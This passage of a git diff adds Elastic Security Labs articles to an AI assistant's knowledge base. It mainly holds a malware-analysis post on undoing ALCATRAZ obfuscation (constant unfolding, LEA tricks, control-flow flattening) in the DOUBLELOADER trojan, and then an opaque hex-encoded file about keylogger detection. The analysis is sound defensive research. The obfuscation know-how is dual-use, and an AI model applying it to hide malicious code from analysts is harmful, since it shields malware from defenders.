ALCATRAZ](/assets/images/deobfuscating-alcatraz/image9.png "Example of instruction mutation via ALCATRAZ") + +In order to correct this, we can use pattern matching to find these 5 instructions together, disassemble the bytes to find which registers are involved, then use an assembler such as Keystone to generate the correct corresponding bytes. + +![Recovering instructions from mutation technique](/assets/images/deobfuscating-alcatraz/image12.png "Recovering instructions from mutation technique") + +### Constant Unfolding + +This obfuscation technique is prevalent throughout the DOUBLELOADER sample and is a widely used method in various forms of malware. The concept here is focused on inversing the compilation process; where instead of optimizing calculations that are known at compile time, the obfuscator “unfolds” these constants making the disassembly and decompilation complex and confusing. Below is a simple example of this technique where the known constant (`46`) is broken up into two mathematical operations. + + ![Unfolding process example](/assets/images/deobfuscating-alcatraz/image3.png "Unfolding process example") + +In DOUBLELOADER, we run into this technique being used anytime when immediate values are moved into a register. These immediate values are replaced with multiple bitwise operations masking these constant values, thus disrupting any context and the analyst’s flow. For example, in the disassembly below on the left-hand side, there is a comparison instruction of EAX value at address (`0x18016CD93`). By reviewing the previous instructions, it’s not obvious or clear what the EAX value should be due to multiple obscure bitwise calculations. If we debug the program, we can see the EAX value is set to `0`. + +![Viewing unfolding technique in debugger](/assets/images/deobfuscating-alcatraz/image13.png "Viewing unfolding technique in debugger") + +In order to clean this obfuscation technique, we can confirm its behavior with our own example where we can use the following source code and see how the transformation is applied. + +```c++ +#include + +int add(int a, int b) +{ + return a + b; +} + +int main() +{ + int c; + c = add(1, 2); + printf("Meow %d",c); + return 0; +} +``` + +After compiling, we can view the disassembly of the `main` function in the clean version on the left and see these two constants (`2,1`) moved into the EDX and ECX register. On the right side, is the transformed version, the two constants are hidden among the newly added instructions. + +![Mutation transformation: before vs after](/assets/images/deobfuscating-alcatraz/image16.png "Mutation transformation: before vs after") + +By using pattern matching techniques, we can look for these sequences of instructions, emulate the instructions to perform the various calculations to get the original values back, and then patch the remaining bytes with NOP’s to make sure the program will still run. + +![Using emulation to repair immediate moves](/assets/images/deobfuscating-alcatraz/image20.png "Using emulation to repair immediate moves") + +### LEA Obfuscation + +Similar to the previously discussed technique, LEA (Load Effective Address) obfuscation is focused on obscuring the immediate values associated with LEA instructions. An arithmetic calculation with subtraction will follow directly behind the LEA instruction to compute the original intended value. While this may seem like a minor change, it can have a significant impact breaking cross-references to strings and data — which are essential for effective binary analysis. + +Below is an example of this technique within DOUBLELOADER where the RAX register value is disguised through a pattern of loading an initial value (`0x1F4DFCF4F`), then subtracting (`0x74D983C7`) to give us a new computed value (`0x180064B88`). + +![LEA obfuscation pattern in ALCATRAZ](/assets/images/deobfuscating-alcatraz/image23.png "LEA obfuscation pattern in ALCATRAZ") + +If we go to that address inside our sample, we are taken to the read-only data section, where we can find the referenced string `bad array new length`. + +![Referenced string after LEA obfuscation](/assets/images/deobfuscating-alcatraz/image27.png "Referenced string after LEA obfuscation") + +In order to correct this technique, we can use pattern matching to find these specific instructions, perform the calculation, then re-construct a new LEA instruction. Within 64-bit mode, LEA uses RIP-relative addressing so the address is calculated based on the current instruction pointer (RIP). Ultimately, we end up with a new instruction that looks like this: `lea rax, [rip - 0xFF827]`. + +Below are the steps to produce this final instruction: + +![Displacement calculation for LEA instruction](/assets/images/deobfuscating-alcatraz/image17.png "Displacement calculation for LEA instruction") + +With this information, we can use IDA Python to patch all these patterns out, below is an example of a fixed LEA instruction. + +![Patching LEA instructions in DOUBLELOADER](/assets/images/deobfuscating-alcatraz/image28.png "Patching LEA instructions in DOUBLELOADER") + +### Control Flow Obfuscation + +**Control flow flattening** is a powerful obfuscation technique that disrupts the traditional structure of a program’s control flow by eliminating conventional constructs like conditional branches and loops. Instead, it restructures execution using a centralized dispatcher, which determines the next basic block to execute based on a state variable, making analysis and decompilation significantly more difficult. Below is a simple diagram that represents the differences between an unflattened and flattened control flow. + +![Standard control flow vs flattened control flow](/assets/images/deobfuscating-alcatraz/image21.png "Standard control flow vs flattened control flow") + +Our team has observed this technique in various malware such as [DOORME](https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns) and it should come as no surprise in this case, that flattened control flow is one of the main [features](https://github.com/weak1337/Alcatraz/tree/master?tab=readme-ov-file#control-flow-flattening) within the ALCATRAZ obfuscator. In order to approach un-flattening, we focused on established tooling by using IDA plugin [D810](https://eshard.com/posts/d810-deobfuscation-ida-pro) written by security researcher Boris Batteux. + +We will start with our previous example program using the common `_security_init_cookie` function used to detect buffer overflows. Below is the control flow diagram of the cookie initialization function in non-obfuscated form. Based on the graph, we can see there are six basic blocks, two conditional branches, and we can easily follow the execution flow. + +![Control flow of non-obfuscated security_init_cookie function](/assets/images/deobfuscating-alcatraz/image11.png "Control flow of non-obfuscated security_init_cookie function") + +If we take the same function and apply ALCATRAZ's control flow flattening feature, the program’s control flow looks vastly different with 22 basic blocks, 8 conditional branches, and a new dispatcher. In the figure below, the color-filled blocks represent the previous basic blocks from the non-obfuscated version, the remaining blocks in white represent added obfuscator code used for dispatching and controlling the execution. + +![Obfuscated control flow of security_init_cookie function](/assets/images/deobfuscating-alcatraz/image19.png "Obfuscated control flow of security_init_cookie function") + +If we take a look at the decompilation, we can see the function is now broken into different parts within a `while` loop where a new `state` variable is used to guide the program along with remnants from the obfuscation including `popf/pushf` instructions. + +![Obfuscated decompilation of security_init_cookie function](/assets/images/deobfuscating-alcatraz/image15.png "Obfuscated decompilation of security_init_cookie function") + +For cleaning this function, D810 applies two different rules (`UnflattenerFakeJump`, `FixPredecessorOfConditionalJumpBlock`) that apply microcode transformations to improve decompilation. + +``` +2025-04-03 15:44:50,182 - D810 - INFO - Starting decompilation of function at 0x140025098 +2025-04-03 15:44:50,334 - D810 - INFO - glbopt finished for function at 0x140025098 +2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'UnflattenerFakeJump' has been used 1 times for a total of 3 patches +2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'FixPredecessorOfConditionalJumpBlock' has been used 1 times for a total of 2 patches +``` + +When we refresh the decompiler, the control-flow flattening is removed, and the pseudocode is cleaned up. + +![Control-flow obfuscation removed from decompilation by D810](/assets/images/deobfuscating-alcatraz/image2.png "Control-flow obfuscation removed from decompilation by D810") + +While this is a good example, fixing control-flow obfuscation can often be a manual and timely process that is function-dependent. In the next section, we will gather up some of the techniques we learned and apply it to DOUBLELOADER. + +## Cleaning a DOUBLELOADER function + +One of the challenges when dealing with obfuscation in malware is not so much the individual obfuscation techniques, but when the techniques are layered. Additionally, in the case of DOUBLELOADER, large portions of code are placed in function chunks with ambiguous boundaries, making it challenging to analyze. In this section, we will go through a practical example showing the cleaning process for a DOUBLELOADER function protected by ALCATRAZ. + +Upon launch at the `Start` export, one of the first calls goes to `loc_18016C6D9`. This appears to be an entry to a larger function, however IDA is not properly able to create a function due to undefined instructions at `0x18016C8C1`. + +![Example of DoubleLoader causing error in IDA Pro](/assets/images/deobfuscating-alcatraz/image22.png "Example of DoubleLoader causing error in IDA Pro") + +If we scroll to this address, we can see the first disruption is due to the short jump anti-disassembly technique which we saw earlier in the blog post (`EB FF`). + +![Anti-disassembly technique in DoubleLoader](/assets/images/deobfuscating-alcatraz/image24.png "Anti-disassembly technique in DoubleLoader") + +After fixing 6 nearby occurrences of this same technique, we can go back to the start address (`0x18016C6D9`) and use the MakeFunction feature. While the function will decompile, it is still heavily obfuscated which is not ideal for any analysis. + +![DoubleLoader function with ALCATRAZ obfuscation](/assets/images/deobfuscating-alcatraz/image7.gif "DoubleLoader function with ALCATRAZ obfuscation") + +Going back to the disassembly, we can see the LEA obfuscation technique used in this function below where the string constant `”Error”` is now recovered using the earlier solution. + +![Restoring string constant from LEA obfuscation](/assets/images/deobfuscating-alcatraz/image8.gif "Restoring string constant from LEA obfuscation") + +Another example below shows the transformation of an obfuscated parameter for a `LoadIcon` call where the `lpIconName` parameter gets cleaned to `0x7f00` (`IDI_APPLICATION`). + +![Restoring LoadIcon parameter from immediate mov obfuscation](/assets/images/deobfuscating-alcatraz/image25.gif "Restoring LoadIcon parameter from immediate mov obfuscation") + +Now that the decompilation has improved, we can finalize the cleanup by removing control flow obfuscation with the D810 plugin. Below is a demonstration showing the before and after effects. + +![Decompilation cleanup of DoubleLoader function using D810](/assets/images/deobfuscating-alcatraz/image4.gif "Decompilation cleanup of DoubleLoader function using D810") + +This section has covered a real-world scenario of working towards cleaning a malicious obfuscated function protected by ALCATRAZ. While malware analysis reports often show the final outcomes, a good portion of time is often spent up-front working towards removing obfuscation and fixing up the binary so it can then be properly analyzed. + +## IDA Python Scripts + +Our team is releasing a series of proof-of-concept [IDA Python scripts](https://github.com/elastic/labs-releases/tree/main/tools/alcatraz) used to handle the default obfuscation techniques imposed by the ALCATRAZ obfuscator. These are meant to serve as basic examples when dealing with these techniques, and should be used for research purposes. Unfortunately, there is no silver bullet when dealing with obfuscation, but having some examples and general strategies can be valuable for tackling similar challenges in the future. + +## YARA + +Elastic Security has created YARA rules to identify this activity. + +- [Windows.Trojan.DoubleLoader](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoubleLoader.yar) + +## Observations + +The following observables were discussed in this research. + +| Observable | Type | Name | Reference | +| :---- | :---- | :---- | :---- | +| `3050c464360ba7004d60f3ea7ebdf85d9a778d931fbf1041fa5867b930e1f7fd` | SHA256 | `DoubleLo.dll` | DOUBLELOADER | + +## References + +The following were referenced throughout the above research: + +* [https://github.com/weak1337/Alcatraz](https://github.com/weak1337/Alcatraz) +* [https://gitlab.com/eshard/d810](https://gitlab.com/eshard/d810) +* [https://eshard.com/posts/d810-deobfuscation-ida-pro](https://eshard.com/posts/d810-deobfuscation-ida-pro) +* [http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/](http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/) \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers.encoded.md new file mode 100644 index 0000000000000..004fc030bde65 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detecting_hotkey_based_keyloggers.encoded.md @@ -0,0 +1 @@ +b811602cb36308a94550965e45dcaa8f02a355354f3cd5e294d050d16121fd14e88d43d210688b4482b7e4d44488078e8f18c7ecd982066d14250274063358c9b65479a0a6c8e76d365c1f81138027bfadfb80bd6a6e651b577295b8b7537e882aa4fc83162425c640aa85aafc6364b0a11761e1bf482a780985351d12ca04b4be7161ae9c3d2c520444007422b7090c62b51843a436b2a320277fa8ffcaac688254e111f6604c18a779ef03839df2276bf57bd50776071536c4916c1cb2d5a27a6ade7a0957a130396da6f64016d513ecad932fb0dbb2ddd5954f3178b093baaae43cbf0ecebd212b23b3e24e1394c6a20364535899ad81a304ad66a11bc9651fdf8c1584198bfc963e85a3805427e2fdc87886e6d0d1916d99dd25c38a0a4b2d9de6082427aff6b6f9d17424afdfd93f61e0a5e37e79ceca93f8573836137e9adb8f9e7c2492774d775d3fd8eed4550e5614250f217fee73555fc1225c2c1d42579c59aac0dc59fff25641bacd53b4f942ac910da7f6089f4cbd290aa373148ce01ab00643e424093eadfd06be06d26add23bc2df0c527e95678f0bbab7b678e818b60c5ea9daf89e2458305adb2231c1e04c9fcb31faf3e3912d3639da495fe0b5eb20288323dd485195711eac38b9a41c9887a7741a6a1a9041a20dbc476279dc99b5bb3d1deeb9dcb484f15471a36eee28fd7590c970aebc773e2cf6151780cbd478dc60014d4ab4d3bbb6cb486adce4efd523c6a533ee8fb0da6703aeb9b01878994d3d3e91eafcb459b6947e7ab57a1829be3e61085363cf141cbb13a5e6c291ac9eb4cf7330d6086c32eb233071f33348f7959bca8c7b90715c045bafd93b6accbe96ed853e9eed53b134a6e945e1aa13efeb5386243975dd7e1355bbeca52a0a02749d01323ae4492669f9fafaace3caade799ec5946ea395f5011bf74545f9534a62c0303932b7dc8ec156827e65386270b4187a5c5da45c31f32992e2dd60bbc2323b30b1ae99c1ba6d01081cba02343305eb722a5b4f6eee53bdb2f44e58250c1c8cda0d8cfae01b986fa9eaf27ee37f9d529fad01c0b86977c2bf59cb5d2ea8ad81fb0a3899cbc68ace879a39af08ec44cb5b210fc75333cf57caa6a245093744306e734c9f3557f51482639ed235d368437a1daa689c120b9bb1998d75074140f37a90d4697359987daeb6a43794a09f013f498604b937eb189dcb1450fc2b9e09dd98a039934fa52a758e4cc85bab188ffc6ecfdef2c77e4000fb611959c7a8540c4cbc6b4729a54114962a2d8311fdee56977f35a9593249ea6a0f62ea2e07af4e59e5ea03b5f6d3a8ac8b97abda4894594f7124708ac3485de5959e3d287cf3c5bed1cad9db03ff91c05daa17c6b638d7c2776e385d566a490032048a9ca63650f774c060020dab83e3e0e3037ba8b043734abae79843b36f94a1b6f8c6e5b43b2dcf85d4df69ee341b2d8619aa60099d0da13d72e5bde4295688993c130b8dfc3d251627ca39502a06fb2f8a3be0e9a612add0aee0a984c719cf55914cb76bc5a501d9e63e1e75a2bb3d63b8f9f19c3544b57d7b0e9fdd2b23c57621ad167d6d1055a48bc719a63eb39f8126d11328e4c28c09b856b0f5240e0d013db9fb52e0dbabcd15e2c3b2e4f97e0031f2cc582b99dd6ad3b4f506a3a70550debdd801168568094d8cd9798d543516d11c6adc88d57333904d3102450701c4079ed3d9b997f6b02b68e1b2c5c0cadb24bf7f8e49058d3c3a23e44d20a3047473413acd3e591e4485fd2e3d1b2441b1c34c6936761c3feb40a7ed99c3829c63bb5b278e54ca745f9963d7510c79710dde3fa69cc1d56abb13d93c6868655fdb5771377f60748b81001b93da363d0dc486f98edcaa152d258a6bc13d1378848889a2b9a34de10fa81d28989f0b1cd2374258f73dfefb4b573617336db2f4da5eee071299d044df21be0a9e7aaea11978becc626a4a86ab359f8c1d3351bd0897749b63bc1e7c8c1e54f85b79ab213e340e9b17016fb689a5d32e7c1a5e35a87c16ab9f15aae71b35f3480e0f57164659390342b0f9315e56ebaa6dbabc825e08fb207a71e6283ad43cc95d324ab6bf55119cca6b3983ac34d1b936cca9c5a0b1311edd9405e896e729e0f31a0906789b003d25f5e1d808cf3390eefea07c40ac2122c1101116411e3a47c6f9f13d66c9d07ee1fd4ffe2abb56ffa4399d451274c49ed5ea602595df09f4d45e3b80c97084155b8780a648a958a747d64ab274e4c9b696c26ef5fc0d663e14e0c39bc17cf4e73f860a297ca8f244773b98a224f43ef0b9404ac9964158533e1c9a785fbd077dd12dd8f1e5b90a49b3fb672caa43b020031980efbba51908de084147876fa9eb659481aef1670a265461dbf21c03c23def004006bd5cc11fa43856e763c9987db4ee77ce3618bce5d38d01fc5a8be9cd338d249f78f5eedffa22dee7db4b9496330e5f20ff21c33a7be95b7a6d344eb84f16c6f602ec49c7800696d82e37506a37e5fbb10d850a923e798b3ec2dd5926a5fa96215a1acf499395cf0b293c1d096d509e1fab8f4241933e5197d10404906db7709a3ca75397df9fcf3d71557f1beb46ce740d4bcf7ad7454964a70d02a1e2867c169a30b3925e2bb0925d63e8fc69e89fdb68611fd267619f55a8850a10564674fc4a0aa27f04312655e8b268300d7f6058c85b950cd058bddd654d9b95e065c6191aa293d22593b168d4f4ce19f28a5a18db82e7a9d0830688552663336a0e49eac5c09979ecdec5d019cfa1b5d23bee9dc01823702d08d1a4033a817f73b8f63e54fe8211106c27acdee9c9295ce82b7dc9698d70b14640f575e1e70d894ab76966cf6a347ebcea539e083866246ad6a12f143bc01a58185a639e32b06c65a3532c60e0924e7e255076dba43d921a8d08f3b2b4e2f0b417db2b5ebf5e5671d19ec1b348c8036eb65a62a36c67faa3b553f635d0d4fd716f054ca0293f8096fa82c95eed9faaef9fe3776d9a6fa4c5d3927b1f96d065032856f46fbafa10c0c550d56db816c8bc62eb0a3e5b37df58af2bf351e2bf122a874e2bc5da26e600462fa25feae9fdd6177841093dfbd1e25ddc7371efd834a9909ecff343507fb9f0248a38a08fd955e3eb2d7f0424f23b1b32481df0fb19b54be2be346a9daad1dad6726491427ad73da3f49c697591075f97c53c70a77f99f2223eb33c9f199c3afbb01bc33f07b97af34c095e931e3b74b7ba56d4ce0f58cbaff2627f79374828d832a86cd2ae447e50ab5062b57ab1981be160bbdf52dbeb030e31370c896573bc65f462656fbde1a4aae70fddf27cce6b7cdc0736c1c671e79769925eca992d70fb156c6bb1f8fa9e3c55999fca4220e023d24ebfe08339f2b81e981d19d477171010caf4a9fd735f29b39fcce0613926d0bd0a91ce3c0e494fdd34135f7c739f99477fcdca110302753322118b19631e1bc4106653c1286de8539c24c75d7008dfe5d272f5b530650e3f4a2c06fb53559b312444e74d234f55aba0ae6fcfd572a8fc3e19a09bf4f39ff6481e77f8cbd79c9f84857958a79f6ab20979b18faf9e34034c18b4ec8385520ff401fc676a20532b3a729febd15ca7ab939aea3d48bf0297d75871f3dae52fd3da1382466961182d0f9f0051a50a457e4b156da4bae9c551f52a350b5d55dd9f88fbdbeb1e11e47954cfacde282308fe6e6d9ffab71211a6125024f45735c037d3427fd435e41afcd2fb78985ce2b1c6eef1c1730bd822172359c7a48d8c04ab0740aa307098b7d42932479f7565da53edfb01ed83cc02c1bdc808bf96721c548891a06d3c15398597861265cebc8a9087f8370cc36e0ff400dace8d61fe644cc40d4ba1409f259d7650cacbe7d78c8400e30281b6e8667b48e54c96d340a4a39adfaf45e94e5be175c82eeaec07c3a48bf36b9fae7aa0ad41faf559be08b30ae5edfbb452725f1f65daaef9a108c6c2c93f23afcf12cb9c2254b5a0b771a6f6ee85086d166c3ea3b64b675df9005cb6245f3702a0032d4e370f455bff5815572255be67af3904c2743cac8c63a8854e947f9d7427ef70e6a7946fe36a281dea74e984d868509b42945aa5ee14a595c4447817b1b0dda4f72d10d4af62d8d92cfcc152112fe059e3dca4c5d7a9defccc0c0f065f7b78b511a6e159f250b2f8aacb68d42052748a34ecb98f0389c68a25272c6796b748869c2b43340db1e7683937dc8dc0edef00139c40641e3cb905b839b4676f0b5c62f6aa254b3901ade8b12fb093947a2f657cbafeeaec6a7c624fe0cbb5a3644b81a1ce6faaff8a7e6fc273be38e7d6401c2ae29667f70cce8fa2469d4fbc2bc09a73f40c775ff9e6811f48900efe006f626292f555f00afa7ae854999f516384c6e5ad55da891696b7616ea5677f30d801c2b9fb8887a0a549bf6e44f1362a467781f5ded4386bf7156245a6c09272cda1e3519b4f016b72bf983bee16b5cf989950dd3a0947edf93f50f7480097cc9b2e5400cb9ff7f30de0ac2ffbe4ce0ca74a7d7c148974fde06da8675df86a98c24b5cacc85c13ccf5bdcafce1c6e22597344f601ef9e1ffdec625a64816c0b73b7ad4d0028c71302d3d2a0ac7ae9491404c329876a3a6952e82d1e0578f5ac8a77019ce5139f1dc60b2caa599da80e1b24d8e4d0820d1beb0d4f57bac7ad8b525956725731bbf029ecd83cb77f34c0b925cdf958c8a845006c0152940a808b4f938ae73de55bd1fe349c1c3e6148c0cf9052985b0367677ed72c93898956748893f844efb84aec6ee34c3f01301869c1b0e9b916f8c049b9380812e0268c22197861e7a5c2e22022ca8f8c00a9aba07e68010e12fac002447bdbd7169cbac2132f3d3fd21c028958463172a5ab4b7088405a11fe2f025b769153846a0cc9e7eda8a2b747db22ae9f03a4bee8a780b28fa3b9a6df267c237ab8e05495d1f8731deda74d0cf2a3b339e6168f83b8ed7950adbb31d5b52daab5622c52e8696ac22467e89dcef57c366fc8486a5be0e7c7e04c7119edc95b30497b681ec57fbb395fc0b0201948226867cfca37a59ec7e1d96c38d283c8f3c2ee1e87b04f0de66a0e93600a5c7c3e49e27ee8abf1749955cb96b66d6312e19435fba8ef615383b1a97219d055479bda8dcf3141a2a29b87491fa1a91ac1e3e2d9f930cf295b4bb273fcc1afcc97146e6f10e67e7c277fe49a72804902ad0e5bb83643dbc0249b95ea28c716d949ef3342692261b28754ffd8a72ff8f4ecb46b9b237b2b320410041295be09e7f592b291dfc1dd550f11a67af85516ab8e8381d18424fa3af4c8531c618a707bee1dde932e44578fd137dfbcb282ab27defa1c281fca646bf01daf5807d47d3b8dec5c811170d7c7031eb2c9fb6f42ea3b2920d1f553dcf2b4f57d7d0f7ba4689b8ca67b3a538e1a5188629f1d8c13a04235b6d89e25a06cc6f791df5d82023b72ec4d655721d6c6c83aae2d66440011c365d253f5052d4906f9d1df89084fad20ee1057390744c15dc6b72dd282f87ad3f7be814677c80c910e974a91a8321a48886210ad439e73e5249f7c53b698bbb22caed8da6f99fba46c1d0e5ac967ab4a9e10f767340a72f91195bffe50f1d738b82e88d7467f33ffc042b06ad9472e571334f4c42b04d3bdcd157a8a9a6bac8e08d9bcae95c366fb6ac14b58bd17a03814db6b7f0830673830f36d17ca2575fb36ae7ea7f6cec9c12ae352f2b1f9edfc1b960583ce418c2e07563aa89156308b8b476e142974433dccf33f2479a8f04e1ad5148bf59541f4a6d65a8d4c779521dc3ca1caea36a7be7564d8ea8dacb428fe1377c04f1f635fe752d4edbf6a830ebac2c8343c55d9058811c9bc8a9c9078ab5324d5b4f1eafb9ef3559f77f6dac0b91f4d6a672006ae9d400fc282779543069a818d11dce05250d710d55950222d40a94d97339a5273e45cb659879b956fe417c503d65c4a558cfee2b9ed0c61a83d31b85eba7dc59c4b610e5aad1957976f5a0026ef54e71fb80f5d018d4d2f8ab1c26ff67e75feea52275911c15a829c7109283a41d8188772aa6e758b6e269ff53c2e6b2b6b239d8fe8dfdb0b81a40311a98560f7382fcebe222eb7a9d55c461118bd3d96f5b166626134a0de5c251755cb4a112d3e93794522ccc1cc1ee2a80dc7a76f6750b157380886f068f64889ff690cd286889b708deeb997a80d18917cacbee151ed68be309a44c7f10b3c0820ab0b6db494e415bad26aa2e1943e40132b6e763dcf39b1ebe82c76dee8ee1e4f60af6e5e7e123a4a44a7a80bda1e2ea6afb65932ea28d99737c2546855841524c49c53b8d90fd14a5a1b3d537799dc7ebf234b755b7cadd6f56bdbddedf3f4fdc8a2156ce3fb2b8a363f674fb3872bc6c76b06ef90e3907538abd60afd2ab5b61d1ea1c398f81a10ff0f226cc88e4f3c58a76f8925c5de33b20d275b095c3c8e1fa4ffad10e25dba698b10c92af46bd0004fc3f63f96fbad10f51770e50868251d1582f83997c58436a7e21648598ca78e932e44578fd137dfbcb282ab27defa1c281fca646bf01daf5807d47d3b8dec5eacc6d05e257b32ed98308ff8ef53d3ff6938b900f5c536acb3c5e5f447abe19a0035a0133bc72727987d6b0c5917e73a696d0aedad16fce2a0ecb1f5999cbcc126ebb7bb0ffce58d0b7419275ad0b9058594623dc8467baa5ab6245848832724f0dea32f444c56ff9bbc4e33955b36dcf249b1892a0da41724bf07b44d95d2e0bbfbd30585073daae000943bb9a160b4aa8d8cbe5e963c622476771aaedf94600ff2402348601acca64a09a0f4a35b2bb32d7ef024a245ea3d532ee16e83e078907e471cdbaa0ce278dad6921f554ab18727c98aec87e997b5c837d20b47aeee06bb3d914340134db1c41f2186caf7a1ae6ba0c18c17f935b1a5d858bc0256564d9ef07855f7fa72ecc04395ff3486eaaba320393e12fc5218901d3e0f1ad3899a5e76518c6928ba0632046d2615fd076c07b1520e225d4d9b2f926564da456a92f763c6ad9c9de5163d73dfc744af75eab627472f0fdc76737f06fe1902c56dcc015b877e98a0e6147a19b8ec9c50f0f8d20e76b16065d4a396870b3909db8612e47d7ea0c9a590fb2d0a063555a1d8b5766cddd939574fec14e3a8f58fde468fd3dce310b5bae64fa9071b89335c954e6789562845b6a1ef87d5742a4aa01b351df53449430aa539f213b4c4bc59eba91f4ffa2e4cf63dc090de4fe39a3dd3cddc0c7855542eb77ce387b411df6c3a2ace0fcce93cd968788cfb692671244970e3ea221e95bd187b94f1a1dea1327138b4810523cdd215d85d22036bf0eef1734b0aafdfba7aeeb45eba769200494288f9034184590ba77ed6e4febd82cfdccadb0b653578c2cfbc5d748d2f4d5b55740c9cadd07b6e405df3dac57b7b0dc657f5e6621f2157ccc02da81b7aacc703421e6079fa58bbfab7b5c54e2eb12b0285318fff92e558dbd34a1d91182df9b9b2b54c336caad480c83a1282642a29c7b03d5c88656d7da272ade3c22a445d58bd4f7ca1c0eb2f7bad504f5c487fdaefc49f967743eaf493b105f6da3605dccda3ad0cb4cf2e19fd942de250339aabb0cd03e619346fea48e3ceccbb4c2df09ef90d92c64d9cc29cd339a0714df83ebe3b0f1e61dc961fa65e5f78c23999f119e83733f165155422f8e01510513d4d836d00f97aa3c164ea1994e27657389640eaebd8971795e57dff7a3bd905d62b40342e3a0ba20e3bbcedabf96d9180fcd248f6dafbda0f3f1a838d8418fb88af3fb5eaec847130a885fc08e976ad646ac5993d110a451b9fad3ee89ad9c6f943468a48d83344d2ac9d1b34fce4d3c37ec987f4f22ad5725b19313d946e161dd3f335bfc8921770506d40a35937e0709de39f2b81e981d19d477171010caf4a9fd5aa774ae3bbbe5bd5ad3e60211692a346df7f8124f66fee1fc04cd893466cfc911c06f97e17d0b524d5da7f76c60196c27eb8b78a14fb88c54a7bbd33a56cfbae152006f088b71987fd91b7949e6263d9b37713fd7e0350827a3c4e46e9c14a9864d50a9702775754da8f037260afb794345d622f226de90fe9b093d99fdb9fbabd8b0bfc75d42d74f15e31d681c3a789f0f7aaa8ec678d84bba5ddd6c5b1484f0753ee0c1680f93f0b2cd26b17dc25c9e3936b11169eaa8c0a4b50d749c2e92f40f709ed6ddc23623b9d2aed38189bfdc89527795493ef995d116e48ab56cbf304a769750d97feec00c822d9c123d4abad31f82b9596c9ed3772bef935014cfd4a4fe7ef8e675de005f7d004732585804ec5f147861d531601fc5ecd3520b62f7df9616a452c28a128b770009e6e45a7cbf0fab2b45511b7ace1496de54424105f9122ed20d54c04abc7affa5b4e43ddd7e726b679ee067f1a6152d0772050b3fd531b9ff2b6278b226dea69b9008b19620d462075dd7893cebd512e10ecdb6847851f5c46ef534113b8ec304bc9eb901beefd06ea297334afaa3a3cbae53d1728985dd4a749bb980175ffc672b6c5fb6c1af493630e8108f8c453ddac87060271090f3004028d7546d12013d98cd6eb6ec7aec95b67354ff826ed7297baafe39f2b81e981d19d477171010caf4a9fdcc3293353033dfdab8ee0ff0a1bcafa02ce43057490498dbd4f783dff669f2d7f5119fb5187a806323dd170b8d75b82ce8c11c2d0f23eed9fb0a5a94dcf80b353be066d22f1e2e014eec23c46634d2de8422189b0c03374374cf52fe3ebe8f6a040f7bad47c20643288650f81585f509ae82286ef1a6892b8df12c81e0d58b224955d277c94f9b2c0dde745981901c9901ae3f6e7a023c38ff60586bf138a4635d404c83fe976eac2d6027376ceb9279907d3461e977db8fe1511068ead1a4bb3ad5e29f84d755b013c8bae89ed1d6a4afd273f5624347d8eda6043772f92c4a09c8bd9f2c181cee7ed22d0c09751a96e18d14b620524ef9aae55596af60dde7afd25ec3bd8c057eee41952a24cede397adb47a8a025a2b7da3b59d39c0b8ac001d855cc2a6ce1eb576582b9f0c5d9239e16688f69b46d73293a06750c93ba06ea2081ff36a0b8bbd0277a3a48763d93ced9fef445954c95593e1a7a5b1997ab56bb5471ffe1d1ee80bc841c11002989a1d3ff4cb069c6e37024e5fd2d1cf8fc32e330b74ddd67a6dc05407d869b13bbd9642ffae0d9919d82c960e7afa6392a72dfb317a7193fc5d17337a313b7e30c22ef41fe93942aae53e7618da3fcf2a1e578ce31120dabd2bcd2e866d66fa28981c552d39a538993625209366f604edafabf3eaa8aad2cf47e53b6779de5603ac5a3d9d4527dcf7f3f38b70d20a3d0205c8866dbe25789cd8bf9f415b79eed38eb149b6da80f4d6e64ad8f6a47efc2b1f1886c23f2ed3087723d0445d6f75d82fd4a0e3917d9e570156d9d4379ffb8e0129e198572c68b96d98178f5fc7cee5d08a9e68a5e31ec2445e31d059c5f06d4dbf966b8cc5d2392b3e2a4d046a18307ff8084d2bcebd0d3dab24df05a4cc049396a3ac3929b482c1c62eaf21d317ff38e18956cdd5ca3ab1597f27ae4b1a42fd5efae970c14d2b2496c6f1b61145d734cfbb0b10400a967d07949c5ae573dcf9fc3c490cbfb289ab4fd2cddf602f4613688d75b48e4f7e524fc569a966bc05596c8bb88af3185967da129dc34c51d819662049f69ab198befdcb218da6546ddc40c5f5d3c8a522647c23f83319db7a85d7042abf03de67da2e3217cda914dc769144f8b10d8efc4509ecbb68006ea044e5766225803f19d4129441362dafc89d9b002ef0c10cc659548634277ce6e4ef024cdcec51912a3a1f22a051cfe2da8222c0ab028c4d78faab6326db597fad18c2daa2c12d8b777f5f16e6057f02335225067c4808c624053c4dbff2b6f9ac996b50a844e0272532289c63a1e0c3bf8aff674c3da8cbbd0f8f314ec204723148c7c530d2927924069f7094b46e310f94b339f1b8b807c59b7a0bbd189ce4bae76ceb31279c8c98f35fe8d42923d17f7ef739e6261a7fabdacf7fb79053b57662f4f1cb0f73ce1ad6a2c7a00494b7b1e686f7b922f7fb04d77b4b4003205d8051b62da97ef68aa7186ae6ba51c8e813bf574576657e8ea84c014e15820671ab93753459bc5cb677424db4bc82591b5feb3985e30d5340d6dfbcec4154b51f5d35c0d224a733c1dfe3db9e14e52d9bfebd2da33e391b0ef01d11529de60a210ad4eab7c8f2281763a8fc8a17ba29fef38542358b33059ce137fa8af9ef0c0e039e38090fb549c2b4c82a42f71577c21bf7492ac982053182b87718047c303b4144e74c203ac91783c00020cfdee6d8ad06c92926f1dc66f86174dbf871bf55b5b093d3428a2f0e79345921464f85304bcbf4751c0cff02b88ea0406345d38653d3e05c6755396ba676b113f3175a8a79443e74b5bc578814e9452a8f7496e0a543a02a30901bf9cb64743e11d782f36aff0dc086a95ecb4c4b50049cec6a07fb4587910d4c9d79cd59d81fc003f7e242f0d3b2794b236d40de3108c05c7542d864e61e440b487e16ac6575079438b7f20368442a43dda7f694618b265a3302833a99d1bc00b1c954048b1837aceab3e7df46c9aa2fcff8a2